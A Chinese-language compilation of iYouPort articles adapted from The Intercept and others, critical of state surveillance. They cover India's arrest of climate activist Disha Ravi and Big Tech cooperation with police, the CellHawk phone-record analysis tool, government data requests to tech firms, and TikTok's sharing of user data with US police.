新德里及周边农民的抗议活动遭到了水炮、催泪瓦斯、和大规模逮捕的暴力镇压。但抗议者们毫不畏惧、不断涌来，规模太大，仅靠武力无法击败。这就是为什么莫迪政府如此坚决地要想方设法破坏运动、压制运动的信息，多次在抗议活动前封锁互联网，并成功向 **Twitter** 施压，让美国巨头封锁了一千多个支持农民的账号。这也是莫迪试图用狡猾的工具箱论和所谓国际阴谋的故事来混淆视听的原因。

在拉维被捕后，数十名印度环保活动家签署的一封公开信提出了这一点：“中央政府目前的行动是转移注意力的战略，目的是转移人们对真正问题的注意力，比如不断上涨的燃料和生活必需品的成本，没有计划的防疫封锁造成的普遍失业和困扰，以及令人震惊的环境状况。”

换句话说，正是这种对政治转移的追求，有助于解释一场简单的声援运动如何被改写成了分裂印度和煽动国外暴力的秘密阴谋。莫迪政府正试图将公众辩论从其明显薄弱的领域 —— 在经济危机和流行病期间满足人们的基本需求 —— 拖到每个民族主义项目蓬勃发展的基础上：“我们”与“他们”，内部人与外部人，爱国者与煽动性叛徒。

在这个熟悉的手法中，拉维和更广泛的青年气候运动只是“附带损害”。

然而造成的损害是相当大的，不仅是因为审讯仍在进行，拉维重返监狱的可能性依然明显。正如印度环保倡导者的联名信所言，她的被捕和监禁已经达到了目的：“政府的重拳出击显然是为了恐吓和创伤这

些勇敢的年轻人们，因为他们向权力说出了真相，相当于给他们一个教训。”

更广泛的伤害在于，整个工具包的争论给印度的政治异议带来了寒意 —— 曾经标榜自己有能力打开封闭的社会、在全世界传播民主的美国科技巨头公司，也在与暴虐的政府默默地共谋。正如一个头条所言，“迪沙·拉维的被捕让所有谷歌印度用户的隐私受到怀疑”。

事实上，公共辩论已经深深地受到了损害，以至于印度的许多活动家正在转入地下，删除自己的社交媒体账户，以保护自己。即使是数字权利倡导者，也对自己的名字被引用到记录中保持谨慎。

一位不愿透露姓名的法律研究人员描述了一个善于打信息战的政府和建立在最大化参与度上的社交媒体公司之间的危险融合，以挖掘用户的数据。“所有这一切都源于现状对社交媒体平台更强的武器化，这在之前是不存在的。这些公司倾向于优先考虑更多的病毒性传播、极端主义内容，这进一步加剧了这种情况，这使得他们能够将用户注意力货币化，最终有利于他们的盈利动机。”

在这里看到具体解释《我们不是在谈论那场政变》。

自她被捕以来，拉维的私人数字生活的内幕已经被摆在所有人的面前，被贪婪和淫秽的国家媒体所报道。电视和报纸痴迷于她给格蕾塔·通贝里发送的 *私人消息*，以及那些除了编辑在线小册子之外什么都没做的活动家之间的其他 *私密交流*。与此同时，警方一再坚持认为，拉维决定删除 WhatsApp 群组是她 “犯罪的证据”，而不是对政府试图将和平的数字组织变成针对年轻活动家的武器的理性回应。

拉维的律师要求法院下令警方停止向媒体泄露她的私人通讯信息 —— 警察们似乎已经掌握了活动家被扣押的手机和电脑的所有信息。

由于想要获得更多的私人信息用于调查，德里警方还向多家大型科技公司提出了信息要求。他们要求 **Zoom** 公司披露一次活动家私人会议的与会者名单，他们说这与该工具包有关；警方也已经向谷歌提出了数次要求，要求提供有关该工具包如何发布和分享的信息。

而据新闻报道，警方还向 **Instagram**（**Facebook**旗下）和 **Twitter** 询问了该工具包相关信息。目前还不清楚哪些巨头公司已经遵守，以及遵守到什么程度。警方公开宣传了谷歌的合作，但谷歌和 Facebook 都没有回应记者的评论请求。**Zoom** 和 **Twitter** 提到了他们的公司政策，其中规定他们将遵守相关国家的法律。意思就是，

他们已经承认了合作。

这可能就是为什么莫迪政府选择在这个时刻出台一套新的法规，使其对数字媒体的控制水平严苛到接近中国的大防火墙。

2月24日，也就是拉维出狱后的第二天，路透社报道了莫迪政府计划中的“中介准则和数字媒体道德规范”。新规则将要求数字巨头公司在接到政府命令后36小时内下架影响“印度主权和完整”的任何内容——这个定义非常宽泛，很容易包括对瑜伽和茶的诽谤。新守则还规定，数字媒体公司必须在72小时内配合政府和警方索取用户信息的要求。这包括请求追查平台上“恶作剧信息”的起源，甚至包括加密的消息应用。

新守则的出台是以保护印度多元化社会和屏蔽低俗内容的名义。“出版商应考虑到印度的多种族和多宗教背景，在介绍任何种族或宗教团体的活动、信仰、做法或观点时，应适当谨慎和斟酌”，该规则草案规定。

但是实际上，印度人民党拥有世界上最先进的Trolls军团之一，其政客一直是针对弱势少数群体和各种异议人士的仇恨言论的最狂热和积极的推动者。仅举一例，几位BJP政客积极参与了一场虚假信息宣传战活动，声称穆斯林故意传播 Covid-19，作为“病毒圣战”的一部分。这样的虚假信息传播将在法律上体现拉维和其他活动家经历的双重数字漏洞：他们被印度民族主义国家的在线暴民攻击，而当他们寻求保护时，同一国家不会保护他们，并且国家可以选择任何理由去侵犯正义活动家的数字隐私。

数字权利组织互联网自由基金会执行董事阿帕尔·古普塔（Apar Gupta）对新法律中可能允许政府官员追踪 WhatsApp 等加密平台上的信息发布者的条款表示特别担忧。他说，“这损害了用户的权利，如果用户担心自己的对话不再是私密的，可能会导致自我审查。”

不列颠哥伦比亚省公民自由协会执行主任、《边界与规则》一书的作者Harsha Walia 说，“最新提出的法规要求巨头社交媒体公司协助印度执法是法西斯主义的印度教莫迪政府又一次令人愤慨和不民主的尝试，以压制异议， 巩固监控国家，并升级国家暴力。”

她说，莫迪政府的这一最新举措需要被理解为印度国家发动的更广泛的复杂信息战模式的一部分。三周前，印度政府关闭了德里部分地区的互联网，以压制有关农民抗议活动的信息；农民抗议活动和锡克教侨民中的记者和活动家的社交媒体账户被封锁；美国科技巨头公司在

一些毫无根据但令人寒心的镇压异议案件中与印度警方合作。在过去的四年里，印度政府已经下令断网400多次，印度对克什米尔的占领以长期的通信围困为标志。”

新法规将影响所有数字媒体，包括流媒体和新闻网站，将在未来三个月内生效。印度的一些数字媒体制作人正在进行反击。

然而，永远不要指望硅谷给你安全。许多美国科技高管对早期在公众和工人压力下做出的拒绝与中国的大规模监控和审查机器合作的决定感到后悔 —— 这是一个道德的选择，但却让谷歌等公司失去了进入一个庞大得惊人、利润丰厚的市场的机会。这些公司似乎不愿再做同样的计算。正如《华尔街日报》去年8月报道的那样，“印度的 Facebook 和 WhatsApp 用户比其他任何国家都要多，Facebook 选择了印度作为市场，在这个市场上推出在线支付、加密货币和以新的方式将其产品捆绑在一起的举措，[首席执行官马克·扎克伯格]表示，这些举措将在未来十年内占据 Facebook。”

对于 Facebook、谷歌、Twitter 和 Zoom 等科技巨头公司来说，莫迪领导下的印度已经变成了一个残酷的时刻。在北美和欧洲，这些公司不遗余力地表明，他们“可以信赖”，在保护任何健康社会都不可或缺的言论、辩论和不同意见的自由的同时，对其平台上的仇恨言论和阴谋论进行监管。但是，在印度，帮助政府追捕和监禁和平活动家并放大仇恨言论的现实，是进入一个巨大且不断增长的市场的交易，“所有这些论点都已经消失了”，一位活动家告诉记者，原因很简单：“美国巨头公司正从这种伤害中获利”。〇

India Targets Climate Activists With the Help of Big Tech

原文

功能强大的手机监控工具已经在全美各地默默部署 - iYouPort

公私监控伙伴关系

“情报主导型警务” 这个邪恶的概念又催生了一堆专门旨在帮助警察抓人的监视技术公司。他们从警察抓人中获利。

【注：“情报主导型警务” 的概念的确是英国发明的，而通过监视每个人的一举一动形成针对大众的行为监控和分析，这种做法是美国创立的并流行全球，即 监视资本主义的起源。现在，它也在中国蓬勃发展中…】

「图」

「图」

到目前为止，德克萨斯州巴顿维市的 Hawk Analytics 公司及其产品 CellHawk 基本上没有受到公众的关注。CellHawk 已经被警察部门广泛使用，帮助全国各地的警察部门、FBI间谍、和私人侦探将手机供应商收集到的信息转化为人们的位置、行动模式和人际关系的图谱。TheIntercept 获得的警方记录显示，这个令人不安的强大监控工具在暗中运作，很少受到监督。

CellHawk 的制造商表示，它可以在**20**分钟内处理长达一年的手机记录，将过去需要警察艰苦工作的过程完全自动化，包括手绘纸质图。

这款基于网络的监视产品可以摄取通话详细记录或称**CDR**、代表移动服务提供商跟踪手机之间的联系、显示谁在与谁通话；它还可以处理手机位置记录，这些记录是在手机主人四处移动时连接到不同的信号塔时产生的。

这些数据可以包括 “信号塔转储”，它列出了所有连接到特定信号塔的手机 —— 这是一种大规模监视的形式。根据纽约大学布伦南司法中心的一份报告，FBI从2010年进行的一次信号塔转储中获得了超过**15**万个电话号码，以试图收集针对一名银行抢劫嫌疑人的证据。

警方使用 CellHawk 来处理他们经常从 AT&T 和 Verizon 等手机运营商巨头那里收到的数据集，通常是大量的电子表格，而且往往没有搜查令。这与一种更著名的手机监控技术 —— 黄貂鱼形成了鲜明的对比：这种监视技术通过冒充运营商的信号塔诱使手机连接，然后截获手机通信。

与黄貂鱼不同的是，CellHawk 并不需要这种诡计，也不需要警方将监视设备放置在他们瞄准的人群附近。相反，它帮助警察更充分利用私人电信供应商和其他第三方（即 监视资本家们）已经收集到的信息。

CellHawk 的监控能力不仅仅是分析手机信号塔的元数据。Hawk Analytics 声称，它可以从乘车记录和**GPS**等大型数据集中导出令人难以置信的揭示性情报 —— 这些信息通常由普通老百姓产生的。

根据该公司的网站，CellHawk 在其 “独特的动态分析工具” 中使用GPS记录，根据该公司的宣传材料，该工具可以绘制目标的通话和位置随时间的变化。“当数据在城市或整个县城移动时，可以看到栩栩如生的数据”，该网站称。

根据宣传手册，该工具还可以帮助绘制人际关系图，能够同时对**20**多个手机进行动态分析，并 “看到它们如何相对移动”。这就可以知道什么时间内谁和谁在一起。

该公司所宣传的功能已经足见，CellHawk 是一个自动化的、持续监控的工具，而不是仅仅处理手机公司偶尔的电子表格。CellHawk 的网站宣传说，当目标移动，或进入或离开某个特定的 “地点或 **Geozone**（例如您所在的整个城市）” 时，该软件就能够向监控团队 “发送电子邮件和短信警报”。

在其网站上，Hawk Analytics 宣称这项功能可以帮助监视者 “查看每天开始和结束时使用频率最高的手机信号塔的地块和地图”。但在发给潜在客户的小册子中，它的描述更加直白，称 **CellHawk** 可以帮助 “找出你的嫌疑人晚上睡觉的地方”。

「图」

「图」

广泛的数据共享和宽松的监管

明尼苏达州亨内平县（包括明尼阿波利斯）的警长办公室在2015年初开始使用该软件后，其抓人行动当然令人印象深刻。

一位犯罪情报分析师在2016年2月的一封电子邮件中称赞了CellHawk 的易用性，将这款付费软件与其他竞争者监视工具进行了比较。“CellHawk很新，而且便宜很多! Cellhawk 最大的优点是用户不需要做什么，因为软件为你做了一切。它是拖放式的。该软件可以下载所有主要电话公司的记录。最大的卖点当然是映射，它还有动画，非常酷！”

据《圣克劳德时报》报道，亨内平县警长办公室使用 CellHawk 作为通过明尼苏达州一个被称为 “大都会区域信息中心” 的融合中心共享情报的努力的一部分，该中心汇集了联邦调查局和8个县市，服务多达400万人。在2018年2月，也就是 TheIntercept 获得HCSO发票的最近一年，警长办公室更新了年度付费，提供了存储25万份CDR的能力。

【注：“融合中心” 是美国的情报共享机制；由美国国土安全部和司法部共同发起创建，由州、地方和部落级别的政府执法部门和国土安全部门共同管理运营，以提升美国联邦、各州以及各地方政府相互之间的信息分享能力为主要任务的专门机构。经过了十几年的发展，融合中心已经由最初几个松散独立的执法情报机构发展为79个融合中心组成的国家融合中心网络；以应对任何突发事件，目标是 “预警感知”和情报导向作用。“预警感知” 即 少数派报告，关于 “情报主导警务” 可参见这里的访谈《"不要相信改革：激进活动家如何废掉警用监视"》】

警长办公室的发言人 Andrew Skoogman 表示，该办公室不经常使用 CellHawk 的某些功能。例如，HCSO “很少” 分析全区域记录，他说，“相当罕见” 使用 CellHawk 的自动位置警报服务，“根据调查人员的分析需要” 使用。

CellHawk 核心的电信数据来自电信供应商的广泛共享。例如，Verizon 在2019年收到了来自美国各种执法实体的26万多份传票、命令、授权令和紧急请求，其中包括要求提供2.4万多份位置追踪信息。

但获取这些信息的法律要求有时并不明确。美国公民自由联盟在2014年称，与全区域记录相关的法律标准 “极其模糊”。布伦南中心2018年的一份报告称，法院在处理此类转储问题上 “意见不一”，一些下级法院允许使用法院命令获取数据，根据《存储通信法》，法院命令的

获取采用比搜查令门槛更低的证据标准，只需要警察声称 “有合理理由相信” 这些记录与正在进行的调查有关。

同时，特定于某一用户的位置记录，只需一份法院命令就可以获得 —— 除非这些记录跨越7天或更长时间，在这种情况下，根据2018年最高法院的一项裁决，警方需要获得完整的搜查令。对于警方获取 “实时” 手机位置数据是否需要法院命令或搜查令，也一直存在分歧。

亨内平县在部署 CellHawk 这样的技术时定义了自己的法律标准。这些标准在2015年8月的一份警长办公室政策文件中得到了阐述 —— 这是在 CellHawk 已经被使用了几个月之后。

这份名为 “犯罪信息共享和分析” 的文件是在2018年发起的数据请求后发布的，并在新警长选举后的几年得到了满足。它表示，该办公室需要 “合理的怀疑”，这被认为是 “当足够的事实被确定，……有理由相信，有或已经有合理的可能性，个人或组织参与了可确定的犯罪活动”。

该政策没有说调查人员必须得到法官的批准才能保留信息。Skoogman 没有回答 TheIntercept 关于收集CDR适用什么法律标准的问题。

ACLU 的高级宣传和政策顾问 Chad Marlow 在被要求审查亨内平县的 CellHawk 政策时说，CellHawk 技术 “本质上没有问题”，但该县为如何处理 CellHawk 数据的收集设定了一个低标准。要求 “合理怀疑” 是流量拦截的典型门槛，而不是侵入性搜查，后者需要合理的理由。

CellHawk 的功能 —— 梳理通话、短信、乘车应用等数据 —— 显然比流量拦截更具侵入性。除此之外，Marlow 说，该县的 “合理怀疑的定义诡异得令人费解”，应该要求调查人员 “必须有一个合理的犯罪基础，而不是 *也许* 正在实施”。

亨内平县的政策写道：

犯罪情报资料应自收集使用之日起保留五年，以较晚收集到的时间为准。五年后，除非有新的信息重新证实该个人和/或组织正在进行的犯罪活动，否则这些信息将被删除。当更新的犯罪情报信息被添加到有关可疑个人或组织的档案中时，这些条目将重新验证合理怀疑，并重新设定该档案的***5***年保留标准。

这项政策授权HCSO的调查人员根据一个相当低的法律标准，将这些数据挖出来并保留五年。

虽然这项政策说警长不能 “仅仅基于” 个人的 “种族、性别、年龄或民族背景” 和 “不违反任何法律或威胁他人安全的个人习惯和/或偏好” —— 提到第一修正案所涵盖的活动 —— 而保留信息，但是，如果在抗议期间发生犯罪，就像例行公事一样，这些数据被执法部门认为是公平的收集。在如此低的标准下，加上如此强大的监控效用，用不了多久就能摸清整个抗议运动的参与者的关系网络，实现连锅端。

例如，在基诺沙警察局枪杀一名手无寸铁的黑人男子后，在明尼阿波利斯市的一个拘留中心外举行了抗议活动，声援邻近的威斯康星州的示威活动，根据 HCSO 的新闻稿，亨内平县警长 Dave Hutchinson 说：“有11个人被逮捕，并以骚乱、破坏财产和非法集会的罪名被拘留”。如果融合中心的刑事情报调查人员通过 **CellHawk** 追踪这些人的信息，那么警方就会根据通话、短信和其他记录挖掘到这些抗议者之间的关系图，这一点也不夸张。这张互动式社交地图可能包括数千名根本没有参与这**11**名被指控的活动家参与的活动。**Hawk Analytics** 将这种社交关系分析作为主要功能进行营销。

当被问及使用 CellHawk 是否破坏了无罪推定 —— 基本上颠倒了调查过程，因此理论上应该证据在先，对具体犯罪的怀疑在后 —— Skoogman 回答说，基本上无辜的人没有什么可害怕的。他写道，“根据这些调查所形成的证据，可能会获得并分析嫌疑人的手机记录。有时，这种分析形成的信息表明，嫌疑人没有实施正在调查的犯罪。这就是调查过程。这正是分析数据的原因。以确定现有数据是否支持继续关注一个人作为嫌疑人，或者可能排除嫌疑。”

「图」

「图」

在全国范围内部署和推广

Hawk Analytics 的CEO Mike Melson 在该公司网站上的简历中称自己是前美国宇航局的工程师，他向执法机构提供免费试用，希望将自己的产品卖给这些机构。此外，Melson 还担任过专家证人，随时准备代表检察官作证。他的证词有时会出现在当地的新闻中，但没有提到他是该公司的首席执行官，也就是他可以通过对他人定罪而从经济上受益。在通过电话和电子邮件进行多次尝试后，Hawk Analytics 未能对记录发表评论。

2013年12月，Heather Elvis 在卷入第三者的争执后从南卡罗来纳州的家中失踪。几年后，经过11天的审判，Tammy Moorer 被判刑。据WBTW新闻报道，在那次审判的第二天，Melson 作为 “分析手机数据的专家证人” 出庭。该新闻报道并没有说明 Melson 密切参与了此案中帮助追踪监控的软件的创建。

此外，根据来自北弗吉尼亚州的报道，Hawk Analytics 因他们的所谓专家服务而获得报酬，这些服务导致 “在2017年CVS商店经理被枪杀 …… 的案件中，一名男子被判处一级谋杀罪”。对于他们的 “手机数据分析和两天的专家证词”，**Hawk Analytics** 获得了**8175**美元的报酬。这当然不是一笔意外之财，但它可以与销售少量 CellHawk 使用权的金额相媲美，它有效地复合了来自刑事司法系统多方的收入流。

CellHawk 并不是双城警察用来处理嫌疑人和其他人情报的唯一技术。亨内平县和他们的执法伙伴使用"自动车牌读取器"、"黄貂鱼"和类似的竞争性监视设备、"空中监控"、和"社交媒体情报"等间谍技术。**CellHawk** 本身就很强大 —— 但加入到该地区警方已经庞大的间谍军火库中，它提示地方警察部门变得更像情报机构，而不是市政警察。

冗长的数据保留政策和这些监控工具的威力，造成了一连串可怕的可能性，导致过度扩张和权力滥用。虽然HCSO已经承认使用了其中的一些监视工具，但并没有发布任何关于使用 CellHawk 的公开报告。布伦南中心自由和国家安全项目副主任 Rachel Levinson-Waldman 审查了亨内平县的政策，他说：“使用的提法令人担忧，因为这可能会大大延长保留时间。”

明尼苏达州法律规定，电子设备受到追踪令的限制，如果该证据最终没有出现在法庭上，则必须在90天内通知当事人。这部 “追踪令” 法律自2014年起就开始实施了，然而，从近几年的媒体报道来看，并不清楚该州是否有人收到过这样的通知，也不清楚追踪令是否被法院解封过。

这部法律似乎在一定程度上受到了挫折，因为警方避开了搜查令，而是根据门槛低得多的所谓 “合理怀疑” 标准获得了法院的命令。尽管明尼苏达州的法律在题为 “位置信息所需的追踪令” 的子项下明确规定，“只有当政府实体表明有合理的理由证明拥有电子设备或正在使用独特标识符的人正在实施、已经实施或即将实施犯罪时，才必须签发允许获取位置信息的授权令”。

明尼苏达州ACLU的政策主管 Julia Decker 表示，该州对 CellHawk 监视技术的使用 “似乎没有监督”，尽管监控问题应该得到 “尽可能高标准” 的监督。她还表示，亨内平保留 **CellHawk** 和类似监视数据五年的政策提高了对公民自由的伤害的可能性。

“我认为这凸显了监控技术的快速发展如何超越现有法律，以及如何成为真正的问题”，Decker 说。“在没有监督/监管的情况下，强大的监控技术被整合到已经存在的调查框架中，而不是事先审查和考虑其实际扩大或推动这些框架的限制/界限和侵犯公民自由的潜力。在这个"讨论警察改革的时刻"，监控技术的使用需要成为讨论的一部分”。

Hawk Analytics 在美国各地有许多客户。记者利用信息自由法请求进行了一项调查，从 CellHawk 网站上提到的、CellHawk 培训课程中提到的、或当地新闻报道中提到的机构收集 CellHawk 订购发票。发现了很多机构都在使用这项技术。亚特兰大和法耶特县、堪萨斯城、弗吉尼亚州富兰克林、犹他州犹他县、科罗拉多州科林斯堡、德克萨斯州伊达尔戈县、加州奥兰治县，当然还有联邦调查局，在过去的几年里，他们都支付了 CellHawk 的费用。威斯康星州麦迪逊警察局似乎仅从2018年起就拥有数千条潜在的 CellHawk 记录，但要求记者支付近700美元才能检查和提供这些记录。〇

POWERFUL MOBILE PHONE SURVEILLANCE TOOL OPERATES IN OBSCURITY ACROSS THE COUNTRY

原文

您的政府是否要求科技巨头提供用户数据？ - iYouPort

公私监控伙伴关系

仅仅基于公开数据的可视化报告

「图」

「图」

‘用户数据’，这是我们许多人曾经一直以来没有意识到的概念，直到最近法律的变化，使它成为全球人不能忽视的热门话题。

新的数据保护法律迫使技术公司更加透明地展示他们使用您的数据的方式、以及他们如何与全球政府分享数据。

虽然这不能解决问题，也无法阻止监视资本主义的继续，但至少通过一些报告能让更多人提起警惕。

⚠请记住，透明度报告不是万能的，有可能并不够透明，而且《政府的压力已经将透明度报告从言论自由的庆典变成了审查的庆典》。

并且，对于那些不是这方面专家的人来说，这些报告往往是难以理解的。因此本文创建了一系列可视化来解决这些问题。

不论如何，有数字总比没有的好。

谁发送了你的数据、发送到哪里？

这些地图显示了科技巨头发送数据的位置。

Facebook 名列前茅，获得了 138,317 个用户信息请求。涉及数据的 64,351 个实例被发送到美国政府，美国在2010年至2018年期间向 Facebook 提出了 75,208 个请求。

相比之下，德国是数据的第二大请求者，在2010年至2018年间，

Facebook 获得了来自德国的6,970个数据请求。

但是，德国似乎对 Apple 的用户数据更感兴趣，在过去8年中请求并接收了22,080个用户数据实例。

谷歌怎么样？好吧。他们向不同国家披露了 70,908 个数据实例，其中近一半（30,332个）进入美国政府。

「图」

「图」

「图」

「图」

「图」

「图」

「图」

「图」

「图」

「图」

「图」

「图」

「图」

「图」

「图」

「图」

「图」

「图」

「图」

「图」

「图」

哪些科技公司正在接收并授予最多的数据请求？

下面的图表比较了 Facebook、谷歌和苹果等大型寡头企业获得的数据请求数量—更重要的是，他们与政府共享数据的次数。

「图」

「图」

正如您所看到的，并非所有科技公司都以相同的方式处理数据请求，其中一些公司拒绝接受比其他公司更多的数据请求。

以下是每个科技公司在过去12个月内授予的数据请求百分比的可视化概述。

「图」

「图」

Facebook 获得了最多的请求（186,059个），紧随其后的是谷歌，收到106,991个。

Facebook 满足了 74.34%的数据请求，Google 满足了66.27%。Apple 和 Snapchat 都满足了他们收到的所有请求的80%以上。

要求科技巨头提供数据的前**20**个国家

以下是向技术巨头发送最多数据请求的20个国家。

美国排名靠前，总计 151,047。

接下来是德国，总共提出了 59,220 个请求，再其次是印度，共计 40,116 个。前20名中至少有8个欧洲国家。

「图」

「图」

哪些国家/地区需要您的数据？

这些地图显示哪些地区对您的数据的请求最多。

不奇怪，北美在这里名列榜首，很可能是被美国拉高的，因为其中包括美国的151,047个。

接下来是欧洲，有 144,543 个请求。

能看出在这里分散得更均匀了，但英国、德国和法国是迄今为止总体提出数据请求最多的国家。

「图」

「图」

「图」

「图」

「图」

「图」

「图」

「图」

「图」

「图」

跟踪多年来的信息请求（**2010**年**—2018**年）

我们所有人的日常生活中的大部分时间都被绑在互联网上了（支付账单、写信给朋友、工作、生活 ……如今还有什么东西不在线吗？）—— 这种被互联网绑架的趋势严重提升了全球各国政府提出的数据请求数量。

下面的图表显示了多年来政府信息请求的增长情况，曲线一路向上发展。这些请求的数量从2010年的27,625增加到2017年的382,242。

但仔细观察，你会发现这个数字增长趋势在2018年有所下降，很可能是由于当时引入了新的数据保护法。

未来几年曲线是否会达到稳定水平还是继续上涨？还有待观察。

⚠请注意：用来抓捕异议人士的基本工具—社交媒体情报—是不需要数据请求的，即可做到精准定位。这甚至不是非法的。

- 在这里看到详细解释《什么是社交媒体情报？你的推特如何成为抓捕你的理由？》
- 在这里看到解决方案《社交媒体情报和反情报基本工具手册：自我人肉（2）》

「图」

「图」

美国与世界其他地区相比如何？

作为高堡奇人的一方，在这个互联网可以说三分之二是美国的；不论是全球数字权利组织抨击的“数字殖民”，还是IYP警告的“高堡奇人”，都是同一个意思。

关于这个互联网如何起源于美国的大型监视计划，见《互联网究竟是什么？》

这不仅意味着惊人的全球性监视，见《互联网霸主的时间线》；也同时意味着无限规模的欺骗和操纵，见《看不见的独裁》。

那么这点如何反映在政府对这些公司的数据请求数量上呢？

该图表显示，与世界其他地区相比，美国提出了更多的要求。

自2010年以来，所有请求中有32.17％至40.65％来自美国。

「图」

「图」

互联网已经改变了所有人的生活方式，从买书到与朋友聊天，我们在网上做的所有事都会产生数据。

必须承认，直到目前为止仍没有彻底曝光这些数据的所有使用方式。

只能期待透明度革命继续前进。虽然已经曝光的部分已经足够惊人。

想想看，您所在国家的政府使用这些数据做了什么？能做些什么？还有哪些可疑的使用方式尚未获得证据？

方法

为了创建这些可视化，首先需要生成一个寡头公司的列表，包括顶级技术巨头和最流行的社交媒体平台。

然后，检查每家公司是否都有易于访问的透明度报告。

⚠请注意，这仅仅来自于透明度报告，也就是这些寡头公司愿意提供出来的东西；而远非完整的真相（完整的只会更惊人）。

也包含研究人员从2010年到2018年收集到的所选公司的透明度信息。

不同公司会以不同的方式显示他们的数据，将事物分成不同的类别或使用不同的概念来描述相同类型的数据请求，因此必须解码这些信息，并确保它们都是标准化的。

以上是基本方法。您也可以试试做这样的可视化报告。数据来源如下：

- Google Transparency Report. (2019). Transparency Report. **google.com**
- Facebook Transparency Report. (2019). Transparency. **facebook.com**
- Twitter Transparency Report. (2019). Transparency. **twitter.com**
- Apple Transparency Report. (2019). Transparency. **apple.com**
- Linkedin Transparency Report. (2019).Transparency. **linkedin.com**
- Oath Transparency Report. (2019). Government Data Requests. **oath.com**
- Reddit Transparency Report. (2019). Transparency. **reddit.com**
- Snap Transparency Report. (2019). Transparency Report. **snap.com**

- Airbnb Transparency Report. (2019). Transparency. **airbnb.com**
- WordPress Transparency Report. (2019). Information Requests.**wordpress.com**

○□

原文

泄漏文件揭露TikTok如何与美国警察合作维稳镇压 - iYouPort

公私监控伙伴关系关于高堡奇人

如果您习惯了阅读解密文件，而不是用金钱和势力压榨出来的新闻故事，您将会感觉到这个世界清晰了很多 ……

「图」

「图」

特朗普总统禁止美国人使用 TikTok 的行政命令是出于对该公司可能将用户数据交给中国当局的担忧。最近被黑客泄漏的警方文件揭示了该公司与警察部门之间关系的性质 —— 但不是中国的警察部门，而是美国的。

- 《谁拥有TikTok并不重要》

TikTok 的母公司 ByteDance 总部位于北京，政府对社交媒体内容进行审查，并对科技公司保持其他形式的影响。但是，一窥 TikTok 在美国的所作所为，凸显出数据隐私问题 “已经超越了中国”。【原文如此】

在 BlueLeaks 最新发布的泄漏文件中，显示了 **TikTok** 在几十起案件中与美国警察分享用户的私密信息。熟悉执法要求的专家表示，TikTok 收集和交出的信息并没有明显超过亚马逊、Facebook 或谷歌等美国寡头公司定期提供给警察和政府间谍的信息，但这是因为美国科技公司收集和交出的用户信息太多了。

- 关于寡头科技公司如何与警察和间谍合作抓捕任何人，见 《互联网霸主的时间线—— 他们将互联网视为间谍、破坏和战争的主场》
- 关于寡头科技公司如何出卖吹哨人，见《他们是如何抓捕说真话的人？灾难和教训》
- 更多内容参见 列表-2 “公私监控伙伴关系”

这些文件还显示，两名拥有 bytedance.com 电子邮件地址的代表在北加州地区情报中心的网站上注册，该中心是一个覆盖硅谷地区的融合中心。

【注：“融合中心” 是美国的情报共享机制；由美国国土安全部和司法部共同发起创建，由州、地方和部落级别的政府执法部门和国土安全部门共同管理运营，以提升美国联邦、各州以及各地方政府相互之间的信息分享能力为主要任务的专门机构。经过了十几年的发展，融合中心已经由最初几个松散独立的执法情报机构发展为79个融合中心组成的国家融合中心网络；以应对任何突发事件，目标是 “预警感知”和情报导向作用。“预警感知” 即 少数派报告，关于 “情报主导警务” 可参见这里的访谈《"不要相信改革：激进活动家如何废掉警用监视"》】

📌 而且文件显示，联邦调查局和国土安全部在乔治·弗洛伊德被杀害的抗议活动期间，通过积极地监控 **TikTok** 以协助镇压。

- 《当我们陷入困境：中国社会能从美国的反抗运动中学到什么》
- 《警察用哪些监视方式瞄准抗议者？》
- 《对IYP为什么关注美国抗议运动的简要说明》
- 《来自中国的“跑题”》

TikTok 表示，该公司从美国执法部门收到的提供用户信息的请求数量大大低于据报道的美国科技巨头受到的类似要求的数量，这可能是因为美国警方更习惯于在调查中使用美国科技公司和应用程序的数据。

TikTok 在一年两次的透明度报告中列举了它从执法部门收到的请求，最近的一份报告称，在**2019**年下半年，该公司收到了**100**项请求，涉及**107**个账户。

该公司称其在82%的情况下交出了信息。

相比之下，Facebook 表示，它在同一时期收到了高达 51,121 个提供用户数据的请求，并在 88% 的情况下移交了数据。

在 BlueLeaks 的泄漏文件中有一份名为 “执法技术调查资源指南” 的**2018**年文件，为美国警方提供了如何从 Musical.ly 获取数据的细节，该公司在当年被 ByteDance 收购并并入 TikTok。

「图」

「图」

📌 在 BlueLeaks 展示的新闻稿中，**TikTok** 交出了多个**IP**地址、用于注册账户的设备信息、手机号码，以及如果用户使用社交媒体账户登录，则还有与包括 **Instagram**、**Facebook** 或谷歌在内的平台绑定的唯一**ID**。（Business Insider 首先报道了TikTok收集的具体内容）。

「图」

「图」

目前还不清楚这些数据发布是否是为了回应授权令、传票或其他要求，该公司以用户 “隐私” 为旗号不愿透露相关细节。

布伦南司法中心的国家安全和技术专家 Ángel Díaz 表示，法律要求所有的社交媒体平台都必须遵守有效的法院命令，要求提供用户信息，但他们实际提供的信息可能会有很大差异。公司也有权在法庭上对索取用户数据的请求提出质疑 —— 尽管他们往往"不会"这样做。

📌 在 BlueLeaks 泄漏文件中显示，TikTok 交出数据的账户范围从拥有数万粉丝的影响者到主要为朋友发帖的人，全包括。

一位与 The Intercept 联系的用户表示，他们并不知道自己的信息已经被交给了执法部门。

Díaz 说，在某些紧急情况下，当版主有诚意相信有人的生命受到威胁或有可能受到严重的身体伤害时，科技公司可以自愿将信息交给美国政府而不通知用户。在 The Intercept 向该公司询问后，TikTok 恢复了对该账户的访问。

“我们致力于在遵守执法要求时尊重用户的隐私和权利”，TikTok 发言人 Jamie Favazza 说。“我们仔细审查有效的执法请求，并要求提供适当的法律文件，以便为执法请求提供信息。”

TikTok 一直试图与其中国出身保持距离，该公司聘请了迪士尼前高管担任CEO，聘请与特朗普竞选活动有关系的政治说客，并承诺在美国增加1万个工作岗位 …… 请注意，该公司其中一些扩张显然是在与当局合作的领域。

TikTok 最近寻找了一名执法响应专家，目前正在招聘一名全球执法

项目经理。Favazza 表示，审查执法请求的团队位于洛杉矶。

📌 BlueLeaks 泄漏的文件还显示，美国联邦调查人员和警方 —— 其中"一些"人本身"就是" **TikTok** 的热心"用户" —— 越来越多地将这款应用视为有用的追踪监视工具。在乔治-弗洛伊德（**George Floyd**）抗议活动的早期，执法部门就已经开始使用 **TikTok** 以及 **Facebook**、**Twitter** 和其他社交媒体应用来追踪抗议活动和任何政治异议。

6月2日，FBI的一份名为《2020年5月内乱情况报告》的报告称，TikTok 是被用来宣传暴力的应用之一。

